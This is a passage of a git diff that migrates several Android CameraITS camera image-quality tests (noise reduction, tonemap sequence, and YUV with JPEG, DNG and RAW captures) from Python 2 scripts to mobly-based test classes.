+          b_snrs = [rgb[2] for rgb in rgb_snr_list]
+          rgb_avg_snrs = [np.mean(r_snrs), np.mean(g_snrs), np.mean(b_snrs)]
+          for ch, x_snrs in enumerate([r_snrs, g_snrs, b_snrs]):
+            snrs[ch].append(rgb_avg_snrs[ch])
+            logging.debug(
+                'NR mode %d %s SNR avg: %.2f min: %.2f, max: %.2f', nr_mode,
+                _COLORS[ch], rgb_avg_snrs[ch], min(x_snrs), max(x_snrs))
 
-if __name__ == "__main__":
-    main()
+        # Plot data.
+        create_plot(snrs, reprocess_format, log_path)
+
+        # Assert proper behavior.
+        if nr_modes_reported != list(_NR_MODES_LIST):
+          raise KeyError('Reported modes: '
+                         f'{nr_modes_reported}. Expected: {_NR_MODES_LIST}.')
+        for j, _ in enumerate(_COLORS):
+          # OFF < FAST + TOL
+          if snrs[j][_NR_MODES['OFF']] >= snrs[j][_NR_MODES['FAST']]+_SNR_TOL:
+            raise AssertionError(f'FAST: {snrs[j][_NR_MODES["FAST"]]}.2f, '
+                                 f'OFF: {snrs[j][_NR_MODES["OFF"]]}.2f, '
+                                 f'TOL: {_SNR_TOL}')
+
+          # FAST < HQ + TOL
+          if snrs[j][_NR_MODES['FAST']] >= snrs[j][_NR_MODES['HQ']]+_SNR_TOL:
+            raise AssertionError(f'HQ: {snrs[j][_NR_MODES["HQ"]]}.2f, '
+                                 f'FAST: {snrs[j][_NR_MODES["FAST"]]}.2f, '
+                                 f'TOL: {_SNR_TOL}')
+
+          # HQ > OFF
+          if snrs[j][_NR_MODES['HQ']] <= snrs[j][_NR_MODES['OFF']]:
+            raise AssertionError(f'HQ: {snrs[j][_NR_MODES["HQ"]]}.2f, '
+                                 f'OFF: {snrs[j][_NR_MODES["OFF"]]}.2f')
+
+          if camera_properties_utils.noise_reduction_mode(
+              props, _NR_MODES['MIN']):
+            # OFF < MIN + TOL
+            if snrs[j][_NR_MODES['OFF']] >= snrs[j][_NR_MODES['MIN']]+_SNR_TOL:
+              raise AssertionError(f'MIN: {snrs[j][_NR_MODES["MIN"]]}.2f, '
+                                   f'OFF: {snrs[j][_NR_MODES["OFF"]]}.2f, '
+                                   f'TOL: {_SNR_TOL}')
+
+            # MIN < HQ + TOL
+            if snrs[j][_NR_MODES['MIN']] >= snrs[j][_NR_MODES['HQ']]+_SNR_TOL:
+              raise AssertionError(f'MIN: {snrs[j][_NR_MODES["MIN"]]}.2f, '
+                                   f'HQ: {snrs[j][_NR_MODES["HQ"]]}.2f, '
+                                   f'TOL: {_SNR_TOL}')
+
+            # ZSL ~ MIN
+            if not np.isclose(
+                snrs[j][_NR_MODES['ZSL']], snrs[j][_NR_MODES['MIN']],
+                atol=_SNR_TOL):
+              raise AssertionError(f'ZSL: {snrs[j][_NR_MODES["ZSL"]]}.2f, '
+                                   f'MIN: {snrs[j][_NR_MODES["MIN"]]}.2f, '
+                                   f'TOL: {_SNR_TOL}')
+          else:
+            # ZSL ~ OFF
+            if not np.isclose(
+                snrs[j][_NR_MODES['ZSL']], snrs[j][_NR_MODES['OFF']],
+                atol=_SNR_TOL):
+              raise AssertionError(f'ZSL: {snrs[j][_NR_MODES["ZSL"]]}.2f, '
+                                   f'OFF: {snrs[j][_NR_MODES["OFF"]]}.2f, '
+                                   f'TOL: {_SNR_TOL}')
+
+if __name__ == '__main__':
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py b/apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py
index 685f6eb..10e91fc 100644
--- a/apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py
+++ b/apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py
@@ -11,75 +11,121 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies shots with different tonemap curves."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
-import numpy
+from mobly import test_runner
+import numpy as np
 
-MAX_SAME_DELTA = 0.03  # match number in test_burst_sameness_manual
-MIN_DIFF_DELTA = 0.10
-NAME = os.path.basename(__file__).split(".")[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_MAX_DELTA_SAME = 0.03  # match number in test_burst_sameness_manual
+_MIN_DELTA_DIFF = 0.10
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NUM_FRAMES = 3
+_PATCH_H = 0.1  # center 10%
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_RGB_G_CH = 1
+_TMAP_NO_DELTA_FRAMES = list(range(_NUM_FRAMES-1)) + list(
+    range(_NUM_FRAMES, 2*_NUM_FRAMES-1))
 
 
-def main():
-    """Test a sequence of shots with different tonemap curves.
+def do_captures_and_extract_means(cam, req, fmt, tonemap, log_path):
+  """Do captures, save image and extract means from center patch.
 
-    There should be 3 identical frames followed by a different set of
-    3 identical frames.
-    """
+  Args:
+    cam: camera object.
+    req: camera request.
+    fmt: capture format.
+    tonemap: string to determine 'linear' or 'default' tonemap.
+    log_path: location to save images.
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.manual_sensor(props) and
-                             its.caps.manual_post_proc(props) and
-                             its.caps.per_frame_control(props) and
-                             not its.caps.mono_camera(props))
+  Returns:
+    appended means list.
+  """
+  green_means = []
+  for i in range(_NUM_FRAMES):
+    cap = cam.do_capture(req, fmt)
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+    image_processing_utils.write_image(
+        img, '%s_%s_%d.jpg' % (os.path.join(log_path, _NAME), tonemap, i))
+    patch = image_processing_utils.get_image_patch(
+        img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+    rgb_means = image_processing_utils.compute_image_means(patch)
+    logging.debug('%s frame %d means: %s', tonemap, i, str(rgb_means))
+    green_means.append(rgb_means[_RGB_G_CH])  # G, note python 2 version used R
+  return green_means
 
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv["width"], largest_yuv["height"])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
 
-        sens, exp_time, _, _, f_dist = cam.do_3a(do_af=True, get_results=True)
+class TonemapSequenceTest(its_base_test.ItsBaseTest):
+  """Tests a sequence of shots with different tonemap curves.
 
-        means = []
+  There should be _NUM_FRAMES with a linear tonemap followed by a second set of
+  _NUM_FRAMES with the default tonemap.
 
-        # Capture 3 manual shots with a linear tonemap.
-        req = its.objects.manual_capture_request(
-                sens, exp_time, f_dist, True, props)
-        for i in [0, 1, 2]:
-            cap = cam.do_capture(req, fmt)
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(img, "%s_i=%d.jpg" % (NAME, i))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            means.append(tile.mean(0).mean(0))
+  asserts the frames in each _NUM_FRAMES bunch are similar
+  asserts the frames in the 2 _NUM_FRAMES bunches are different by >10%
+  """
 
-        # Capture 3 manual shots with the default tonemap.
-        req = its.objects.manual_capture_request(sens, exp_time, f_dist, False)
-        for i in [3, 4, 5]:
-            cap = cam.do_capture(req, fmt)
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(img, "%s_i=%d.jpg" % (NAME, i))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            means.append(tile.mean(0).mean(0))
+  def test_tonemap_sequence(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.manual_post_proc(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+      log_path = self.log_path
 
-        # Compute the delta between each consecutive frame pair.
-        deltas = [numpy.max(numpy.fabs(means[i+1]-means[i])) \
-                  for i in range(len(means)-1)]
-        print "Deltas between consecutive frames:", deltas
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        msg = "deltas: %s, MAX_SAME_DELTA: %.2f" % (
-                str(deltas), MAX_SAME_DELTA)
-        assert all([abs(deltas[i]) < MAX_SAME_DELTA for i in [0, 1, 3, 4]]), msg
-        assert abs(deltas[2]) > MIN_DIFF_DELTA, "delta: %.5f, THRESH: %.2f" % (
-                abs(deltas[2]), MIN_DIFF_DELTA)
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      sens, exp, _, _, f_dist = cam.do_3a(do_af=True, get_results=True)
+      means = []
 
-if __name__ == "__main__":
-    main()
+      # linear tonemap req & captures
+      req = capture_request_utils.manual_capture_request(
+          sens, exp, f_dist, True, props)
+      means.extend(do_captures_and_extract_means(
+          cam, req, fmt, 'linear', log_path))
 
+      # default tonemap req & captures
+      req = capture_request_utils.manual_capture_request(
+          sens, exp, f_dist, False)
+      means.extend(do_captures_and_extract_means(
+          cam, req, fmt, 'default', log_path))
+
+      # Compute the delta between each consecutive frame pair
+      deltas = [np.fabs(means[i+1]-means[i]) for i in range(2*_NUM_FRAMES-1)]
+      logging.debug('Deltas between consecutive frames: %s', str(deltas))
+
+      # assert frames similar with same tonemap
+      if not all([deltas[i] < _MAX_DELTA_SAME for i in _TMAP_NO_DELTA_FRAMES]):
+        raise AssertionError(
+            f'deltas: {str(deltas)}, MAX_DELTA: {_MAX_DELTA_SAME}')
+
+      # assert frames different with tonemap change
+      if deltas[_NUM_FRAMES-1] <= _MIN_DELTA_DIFF:
+        raise AssertionError(f'delta: {deltas[_NUM_FRAMES-1]}.5f, '
+                             f'THRESH: {_MIN_DELTA_DIFF}')
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_yuv_jpeg_all.py b/apps/CameraITS/tests/scene1_2/test_yuv_jpeg_all.py
index 163437a..b1f1b8a 100644
--- a/apps/CameraITS/tests/scene1_2/test_yuv_jpeg_all.py
+++ b/apps/CameraITS/tests/scene1_2/test_yuv_jpeg_all.py
@@ -11,93 +11,130 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies YUV & JPEG image captures have similar brightness."""
 
-import math
+
+import logging
 import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
 
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
 
-import matplotlib.pylab
-import matplotlib.pyplot
-
-NAME = os.path.basename(__file__).split(".")[0]
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
 THRESHOLD_MAX_RMS_DIFF = 0.03
 
 
-def main():
-    """Test that the reported sizes and formats for image capture work.
-    """
+def do_capture_and_extract_rgb_means(req, cam, size, img_type, log_path, debug):
+  """Do capture and extra rgb_means of center patch.
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.per_frame_control(props))
+  Args:
+    req: capture request
+    cam: camera object
+    size: [width, height]
+    img_type: string of 'yuv' or 'jpeg'
+    log_path: location for saving image
+    debug: boolean to flag saving captured images
 
-        # Use a manual request with a linear tonemap so that the YUV and JPEG
-        # should look the same (once converted by the its.image module).
-        e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
-        req = its.objects.manual_capture_request(s, e, 0.0, True, props)
+  Returns:
+    center patch RGB means
+  """
+  out_surface = {'width': size[0], 'height': size[1], 'format': img_type}
+  cap = cam.do_capture(req, out_surface)
+  if img_type == 'jpg':
+    assert cap['format'] == 'jpeg'
+    img = image_processing_utils.decompress_jpeg_to_rgb_image(cap['data'])
+  else:
+    assert cap['format'] == img_type
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+  assert cap['width'] == size[0]
+  assert cap['height'] == size[1]
 
-        rgbs = []
+  if debug:
+    image_processing_utils.write_image(img, '%s_%s_w%d_h%d.jpg'%(
+        os.path.join(log_path, NAME), img_type, size[0], size[1]))
+  if img_type == 'jpg':
+    assert img.shape[0] == size[1]
+    assert img.shape[1] == size[0]
+    assert img.shape[2] == 3
+  patch = image_processing_utils.get_image_patch(
+      img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  rgb = image_processing_utils.compute_image_means(patch)
+  logging.debug('Captured %s %dx%d rgb = %s',
+                img_type, cap['width'], cap['height'], str(rgb))
+  return rgb
 
-        for size in its.objects.get_available_output_sizes("yuv", props):
-            out_surface = {"width": size[0], "height": size[1], "format": "yuv"}
-            cap = cam.do_capture(req, out_surface)
-            assert cap["format"] == "yuv"
-            assert cap["width"] == size[0]
-            assert cap["height"] == size[1]
-            print "Captured YUV %dx%d" % (cap["width"], cap["height"]),
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(img, "%s_yuv_w%d_h%d.jpg"%(
-                    NAME, size[0], size[1]))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb = its.image.compute_image_means(tile)
-            print "rgb =", rgb
-            rgbs.append(rgb)
 
-        for size in its.objects.get_available_output_sizes("jpg", props):
-            out_surface = {"width": size[0], "height": size[1], "format": "jpg"}
-            cap = cam.do_capture(req, out_surface)
-            assert cap["format"] == "jpeg"
-            assert cap["width"] == size[0]
-            assert cap["height"] == size[1]
-            img = its.image.decompress_jpeg_to_rgb_image(cap["data"])
-            its.image.write_image(img, "%s_jpg_w%d_h%d.jpg"%(
-                    NAME, size[0], size[1]))
-            assert img.shape[0] == size[1]
-            assert img.shape[1] == size[0]
-            assert img.shape[2] == 3
-            print "Captured JPEG %dx%d" % (cap["width"], cap["height"]),
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb = its.image.compute_image_means(tile)
-            print "rgb =", rgb
-            rgbs.append(rgb)
+class YuvJpegAllTest(its_base_test.ItsBaseTest):
+  """Test reported sizes & fmts for YUV & JPEG caps return similar images."""
 
-        # Plot means vs format
-        matplotlib.pylab.title(NAME)
-        matplotlib.pylab.plot(range(len(rgbs)), [r[0] for r in rgbs], "-ro")
-        matplotlib.pylab.plot(range(len(rgbs)), [g[1] for g in rgbs], "-go")
-        matplotlib.pylab.plot(range(len(rgbs)), [b[2] for b in rgbs], "-bo")
-        matplotlib.pylab.ylim([0, 1])
-        matplotlib.pylab.xlabel("format number")
-        matplotlib.pylab.ylabel("RGB avg [0, 1]")
-        matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+  def test_yuv_jpeg_all(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props))
+      log_path = self.log_path
+      debug = self.debug_mode
 
-        max_diff = 0
-        rgb0 = rgbs[0]
-        for rgb1 in rgbs[1:]:
-            rms_diff = math.sqrt(
-                    sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
-            max_diff = max(max_diff, rms_diff)
-        print "Max RMS difference:", max_diff
-        msg = "Max RMS difference: %.4f, spec: %.3f" % (max_diff,
-                                                        THRESHOLD_MAX_RMS_DIFF)
-        assert max_diff < THRESHOLD_MAX_RMS_DIFF, msg
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-if __name__ == "__main__":
-    main()
+      # Use a manual request with a linear tonemap so that the YUV and JPEG
+      # should look the same (once converted by the image_processing_utils).
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
 
+      rgbs = []
+      for size in capture_request_utils.get_available_output_sizes(
+          'yuv', props):
+        rgbs.append(do_capture_and_extract_rgb_means(
+            req, cam, size, 'yuv', log_path, debug))
+
+      for size in capture_request_utils.get_available_output_sizes(
+          'jpg', props):
+        rgbs.append(do_capture_and_extract_rgb_means(
+            req, cam, size, 'jpg', log_path, debug))
+
+      # Plot means vs format
+      pylab.figure(NAME)
+      pylab.title(NAME)
+      pylab.plot(range(len(rgbs)), [r[0] for r in rgbs], '-ro')
+      pylab.plot(range(len(rgbs)), [g[1] for g in rgbs], '-go')
+      pylab.plot(range(len(rgbs)), [b[2] for b in rgbs], '-bo')
+      pylab.ylim([0, 1])
+      pylab.xlabel('format number')
+      pylab.ylabel('RGB avg [0, 1]')
+      matplotlib.pyplot.savefig(
+          '%s_plot_means.png' % os.path.join(log_path, NAME))
+
+      # Assert all captured images are similar in RBG space
+      max_diff = 0
+      for rgb_i in rgbs[1:]:
+        rms_diff = image_processing_utils.compute_image_rms_difference(
+            rgbs[0], rgb_i)  # use first capture as reference
+        max_diff = max(max_diff, rms_diff)
+      msg = 'Max RMS difference: %.4f' % max_diff
+      logging.debug('%s', msg)
+      e_msg = msg + ' spec: %.3f' % THRESHOLD_MAX_RMS_DIFF
+      assert max_diff < THRESHOLD_MAX_RMS_DIFF, e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_yuv_plus_dng.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_dng.py
index 1d4113f..c632fc9 100644
--- a/apps/CameraITS/tests/scene1_2/test_yuv_plus_dng.py
+++ b/apps/CameraITS/tests/scene1_2/test_yuv_plus_dng.py
@@ -11,46 +11,65 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies single capture of both DNG and YUV."""
 
+
+import logging
 import os.path
+from mobly import test_runner
 
-import its.caps
-import its.device
-import its.image
-import its.objects
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
 
-NAME = os.path.basename(__file__).split(".")[0]
+MAX_IMG_SIZE = (1920, 1080)
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 
 
-def main():
-    """Test capturing a single frame as both DNG and YUV outputs.
-    """
+class YuvPlusDngTest(its_base_test.ItsBaseTest):
+  """Test capturing a single frame as both DNG and YUV outputs."""
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.raw(props) and
-                             its.caps.read_3a(props))
-        mono_camera = its.caps.mono_camera(props)
+  def test_yuv_plus_dng(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        cam.do_3a(mono_camera=mono_camera)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw(props) and
+          camera_properties_utils.read_3a(props))
 
-        req = its.objects.auto_capture_request()
-        max_dng_size = its.objects.get_available_output_sizes("raw", props)[0]
-        w, h = its.objects.get_available_output_sizes(
-                "yuv", props, (1920, 1080), max_dng_size)[0]
-        out_surfaces = [{"format": "dng"},
-                        {"format": "yuv", "width": w, "height": h}]
-        cap_dng, cap_yuv = cam.do_capture(req, out_surfaces)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        img = its.image.convert_capture_to_rgb_image(cap_yuv)
-        its.image.write_image(img, "%s.jpg" % (NAME))
+      # Create requests
+      mono_camera = camera_properties_utils.mono_camera(props)
+      cam.do_3a(mono_camera=mono_camera)
+      req = capture_request_utils.auto_capture_request()
+      max_dng_size = capture_request_utils.get_available_output_sizes(
+          'raw', props)[0]
+      w, h = capture_request_utils.get_available_output_sizes(
+          'yuv', props, MAX_IMG_SIZE, max_dng_size)[0]
+      out_surfaces = [{'format': 'dng'},
+                      {'format': 'yuv', 'width': w, 'height': h}]
+      cap_dng, cap_yuv = cam.do_capture(req, out_surfaces)
 
-        with open("%s.dng"%(NAME), "wb") as f:
-            f.write(cap_dng["data"])
+      img = image_processing_utils.convert_capture_to_rgb_image(cap_yuv)
+      image_processing_utils.write_image(
+          img, '%s_yuv.jpg' % os.path.join(log_path, NAME))
 
-        # No specific pass/fail check; test is assumed to have succeeded if
-        # it completes.
+      with open('%s.dng'%(os.path.join(log_path, NAME)), 'wb') as f:
+        f.write(cap_dng['data'])
 
-if __name__ == "__main__":
-    main()
+      # No specific pass/fail check; test assumed to succeed if it completes.
 
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_yuv_plus_jpeg.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_jpeg.py
index 821eb35..850c139 100644
--- a/apps/CameraITS/tests/scene1_2/test_yuv_plus_jpeg.py
+++ b/apps/CameraITS/tests/scene1_2/test_yuv_plus_jpeg.py
@@ -11,59 +11,94 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies JPEG and YUV images are similar."""
 
-import math
+
+import logging
 import os.path
+from mobly import test_runner
 
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
 
-NAME = os.path.basename(__file__).split(".")[0]
+MAX_IMG_SIZE = (1920, 1080)
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
 THRESHOLD_MAX_RMS_DIFF = 0.01
 
 
-def main():
-    """Test capturing a single frame as both YUV and JPEG outputs.
-    """
+def compute_means_and_save(cap, img_name, log_path):
+  """Compute the RGB means of a capture.
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props))
+  Args:
+    cap: 'YUV' or 'JPEG' capture
+    img_name: text for saved image name
+    log_path: path for saved image location
+  Returns:
+    RGB means
+  """
+  img = image_processing_utils.convert_capture_to_rgb_image(cap, True)
+  image_processing_utils.write_image(
+      img, '%s_%s.jpg' % (os.path.join(log_path, NAME), img_name))
+  patch = image_processing_utils.get_image_patch(
+      img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  rgb_means = image_processing_utils.compute_image_means(patch)
+  logging.debug('%s rbg_means: %s', img_name, rgb_means)
+  return rgb_means
 
-        max_jpeg_size = \
-                its.objects.get_available_output_sizes("jpeg", props)[0]
-        w, h = its.objects.get_available_output_sizes(
-                "yuv", props, (1920, 1080), max_jpeg_size)[0]
-        fmt_yuv = {"format": "yuv", "width": w, "height": h}
-        fmt_jpeg = {"format": "jpeg"}
 
-        # Use a manual request with a linear tonemap so that the YUV and JPEG
-        # should look the same (once converted by the its.image module).
-        e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
-        req = its.objects.manual_capture_request(s, e, 0.0, True, props)
+class YuvPlusJpegTest(its_base_test.ItsBaseTest):
+  """Test capturing a single frame as both YUV and JPEG outputs."""
 
-        cap_yuv, cap_jpeg = cam.do_capture(req, [fmt_yuv, fmt_jpeg])
+  def test_yuv_plus_jpeg(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        img = its.image.convert_capture_to_rgb_image(cap_yuv, True)
-        its.image.write_image(img, "%s_yuv.jpg" % (NAME))
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        rgb0 = its.image.compute_image_means(tile)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
 
-        img = its.image.convert_capture_to_rgb_image(cap_jpeg, True)
-        its.image.write_image(img, "%s_jpeg.jpg" % (NAME))
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        rgb1 = its.image.compute_image_means(tile)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        rms_diff = math.sqrt(
-                sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
-        print "RMS difference:", rms_diff
-        msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
+      # Create requests
+      max_jpeg_size = capture_request_utils.get_available_output_sizes(
+          'jpeg', props)[0]
+      w, h = capture_request_utils.get_available_output_sizes(
+          'yuv', props, MAX_IMG_SIZE, max_jpeg_size)[0]
+      fmt_yuv = {'format': 'yuv', 'width': w, 'height': h}
+      fmt_jpg = {'format': 'jpeg'}
+
+      # Use a manual request with a linear tonemap so that the YUV and JPEG
+      # should look the same (once converted by the image_processing_utils).
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+
+      cap_yuv, cap_jpg = cam.do_capture(req, [fmt_yuv, fmt_jpg])
+      rgb_means_yuv = compute_means_and_save(cap_yuv, 'yuv', log_path)
+      rgb_means_jpg = compute_means_and_save(cap_jpg, 'jpg', log_path)
+
+      rms_diff = image_processing_utils.compute_image_rms_difference(
+          rgb_means_yuv, rgb_means_jpg)
+      logging.debug('RMS difference: %.3f', rms_diff)
+      e_msg = 'RMS difference: %.3f, spec: %.2f' % (rms_diff,
                                                     THRESHOLD_MAX_RMS_DIFF)
-        assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
+      assert rms_diff < THRESHOLD_MAX_RMS_DIFF, e_msg
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw.py
index 0c5b78b..60c1ea1 100644
--- a/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw.py
+++ b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw.py
@@ -11,63 +11,94 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies RAW and YUV images are similar."""
 
-import math
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
+from mobly import test_runner
 
-NAME = os.path.basename(__file__).split(".")[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+MAX_IMG_SIZE = (1920, 1080)
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
 THRESHOLD_MAX_RMS_DIFF = 0.035
 
 
-def main():
-    """Test capturing a single frame as both RAW and YUV outputs."""
+class YuvPlusRawTest(its_base_test.ItsBaseTest):
+  """Test capturing a single frame as both RAW and YUV outputs."""
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.raw16(props) and
-                             its.caps.per_frame_control(props) and
-                             not its.caps.mono_camera(props))
+  def test_yuv_plus_raw(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        # Use a manual request with a linear tonemap so that the YUV and RAW
-        # should look the same (once converted by the its.image module).
-        e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
-        req = its.objects.manual_capture_request(s, e, 0.0, True, props)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
 
-        mode = req["android.shading.mode"]
-        print "shading mode:", mode
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        max_raw_size = its.objects.get_available_output_sizes("raw", props)[0]
-        w, h = its.objects.get_available_output_sizes(
-                "yuv", props, (1920, 1080), max_raw_size)[0]
-        out_surfaces = [{"format": "raw"},
-                        {"format": "yuv", "width": w, "height": h}]
-        cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
+      # Use a manual request with a linear tonemap so that the YUV and RAW
+      # look the same (once converted by the image_processing_utils module).
